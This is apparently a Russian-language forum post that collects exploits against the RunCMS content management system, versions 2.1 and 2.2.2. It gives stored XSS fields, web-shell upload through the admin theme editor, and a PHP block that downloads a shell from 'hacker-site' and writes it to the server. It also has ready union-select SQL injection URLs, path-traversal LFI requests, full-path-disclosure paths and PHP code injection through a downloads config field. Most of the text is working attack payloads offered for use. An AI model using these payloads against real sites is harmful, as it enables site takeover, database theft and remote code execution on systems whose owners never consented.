RunCMS 2.1 Active XSS http://yoursite/edituser.php Поле address varchar(150)Поле town varchar(60) Заливка шелла через админку http://yoursite/modules/system/admin.php?fct=tpleditor Заливаем zip архив с шеллом. Шелл будет залит сюда: http://yoursite/themes/shell.php --------------------------------------------------------- http://yoursite/modules/system/admin.php?fct=blocksadmin Добавляем новый блок: Content - сюда вставляем инклюд шелла, например: PHP: $str = file_get_contents("http://hacker-site/shell.txt"); $fp = fopen("shell.php", "w+t"); fwrite($fp, $str); Content Type - PHP Script Заходим на страницу содержащую блок или смотрим его preview. Шелл будет залит сюда: http://yoursite/modules/system/shell.php Player#1 (c)
Run CMS 2.1 www.runcms.org SQL-Injection file:/modules/forum/reply.php PHP: include_once("class/class.forumposts.php"); $forumpost = new ForumPosts($post_id); file:/modules/forum/class/class.forumposts.php PHP: function ForumPosts($id=-1) { if ( is_array($id) ) { $this->makePost($id); } elseif ( $id != -1 ) { $this->getPost($id); } } ... function getPost($id) { ... $sql = "SELECT * FROM ".$bbTable['posts']." WHERE post_id=$id"; $array = $db->fetch_array($db->query($sql)); ... result: Code: GET /modules/forum/reply.php?forum=3&post_id=-4+union+select+1,2,3,4,5,6,7,version(),9,10,11,12,13,14,15,16,17,18&topic_id=4&viewmode=flat&order=0 LFI need: administrator account, mq=off Code: /modules/system/admin.php?fct=tpleditor&op=file_edit&module=../../../[COLOR=white][local_file][/COLOR]%00 /modules/system/admin.php?fct=tpleditor&op=css_edit&module=../../[COLOR=white][local_file][/COLOR]%00 /modules/system/admin.php?fct=tpleditor&op=tpl_module_edit&module=../../[COLOR=white][local_file][/COLOR]%00&tpl=1 Full Path Disclosure Code: /footer.php /header.php /class/core.php /class/groupaccess.php /class/rcxblock.php /class/rcxcomments.php /class/rcxformloader.php /class/rcxgroup.php /class/rcxpm.php /class/rcxstory.php /class/rcxtopic.php /class/rcxuser.php /class/database/mysql.php /class/form/formbutton.php /class/form/formcheckbox.php /class/form/formdatetime.php /class/form/formdhtmleseditor.php /class/form/formdhtmlfckeditor.php /class/form/formdhtmltextarea.php /class/form/formelementtray.php /class/form/formfile.php /class/form/formheadingrow.php /class/form/formhidden.php /class/form/formlabel.php /class/form/formpassword.php /class/form/formradio.php /class/form/formradioyn.php /class/form/formselect.php /class/form/formselectcountry.php /class/form/formselectgroup.php /class/form/formselectlang.php /class/form/formselectmatchoption.php /class/form/formselectmodule.php /class/form/formselecttheme.php /class/form/formselecttimezone.php /class/form/formselectuser.php /class/form/formtext.php /class/form/formtextarea.php /class/form/formtextdateselect.php /class/form/simpleform.php /class/form/tableform.php /class/form/themeform.php upload shell need: administrator account Логинимся.. Идём в System Admin -> Theme Editor -> архивируем шелл (*.zip) -> жмём upload шелл будет доступен по адресу http://site.ru/themes/shell.php
Run CMS 2.1 SQL-Injection need:user account file:/modules/pm/print.php PHP: if ( isset($_POST['op']) ) { $op = $_POST['op']; } elseif ( isset($_GET['op']) ) { $op = $_GET['op']; } if ( isset($_POST['msg_id']) ) { $msg = $_POST['msg_id']; } elseif ( isset($_GET['msg_id']) ) { $msg = $_GET['msg_id']; } if (empty($msg)) { redirect_header("index.php", 2, _PM_NOPNTOPRINT); exit(); } if ($op == "print_pn") { $sql = "SELECT msg_id, subject, from_userid, to_userid, msg_time, msg_text FROM ".$db->prefix("pm_msgs")." WHERE msg_id=".$msg." "; } if ($op == 'print_sent_pn') { $sql = "SELECT msg_id, subject, from_userid, to_userid, msg_time, msg_text FROM ".$db->prefix("pm_msgs_sent")." WHERE msg_id=".$msg.""; } result: Code: /modules/pm/print.php?op=print_pn&msg_id=-0+union+select+1,2,3,4,5,6 -------------- Code: /modules/forum/edit.php?forum=1&post_id=-1+union+select+1,2,3,4,5,6,7,version(),9,10,11,12,13,14,15,16,17,18&topic_id=4&viewmode=flat&order=0 /modules/galleri/viewcat.php?cid=-1+union+select+1,version()
Заливка шелла в последнюю на данный момент версию RunCMS 2.2.2. Нужны права Админа. Идем в Архив файлов -> Основные настройки -> Допустимые форматы скриншота (modules/downloads/admin/index.php?op=downloadsConfigAdmin) Это поле является предпоследней строкой кода в файле: \modules\downloads\cache\config.php Вписываем: Code: .gif|.jpg|.bmp|.png'; phpinfo(); ?> Сохраняем... и после обновления страницы отобразится phpinfo();